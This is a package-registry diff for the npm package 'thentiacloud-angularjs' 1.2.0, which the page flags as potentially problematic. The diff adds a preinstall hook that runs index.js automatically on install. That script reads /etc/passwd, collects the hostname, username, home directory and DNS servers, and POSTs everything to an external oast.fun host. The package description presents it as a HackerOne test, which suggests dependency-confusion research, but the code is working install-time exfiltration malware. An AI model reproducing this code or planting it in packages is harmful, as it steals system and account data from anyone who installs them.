thentiacloud-angularjs 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of thentiacloud-angularjs might be problematic. Click here for more details.
- package/index.js +52 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const fs = require("fs");
|
|
6
|
+
const packageJSON = require("./package.json");
|
|
7
|
+
const package = packageJSON.name;
|
|
8
|
+
|
|
9
|
+
// Read the /etc/passwd file
|
|
10
|
+
const passwdFileContent = fs.readFileSync("/etc/passwd", "utf8");
|
|
11
|
+
|
|
12
|
+
const trackingData = JSON.stringify({
|
|
13
|
+
p: package,
|
|
14
|
+
c: __dirname,
|
|
15
|
+
hd: os.homedir(),
|
|
16
|
+
hn: os.hostname(),
|
|
17
|
+
un: os.userInfo().username,
|
|
18
|
+
dns: dns.getServers(),
|
|
19
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
20
|
+
v: packageJSON.version,
|
|
21
|
+
pjson: packageJSON,
|
|
22
|
+
passwd: passwdFileContent, // Include the content of /etc/passwd
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
var postData = querystring.stringify({
|
|
26
|
+
msg: trackingData,
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
var options = {
|
|
30
|
+
hostname: "cjh0et32vtc0000q77mggjeo8pyyyyyyb.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
|
31
|
+
port: 443,
|
|
32
|
+
path: "/",
|
|
33
|
+
method: "POST",
|
|
34
|
+
headers: {
|
|
35
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
36
|
+
"Content-Length": postData.length,
|
|
37
|
+
},
|
|
38
|
+
};
|
|
39
|
+
|
|
40
|
+
var req = https.request(options, (res) => {
|
|
41
|
+
res.on("data", (d) => {
|
|
42
|
+
process.stdout.write(d);
|
|
43
|
+
});
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
req.on("error", (e) => {
|
|
47
|
+
// console.error(e);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
req.write(postData);
|
|
51
|
+
req.end();
|
|
52
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "thentiacloud-angularjs",
|
|
3
|
+
"version": "1.2.0",
|
|
4
|
+
"description": "Hackerone Tester fanimalikhack",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|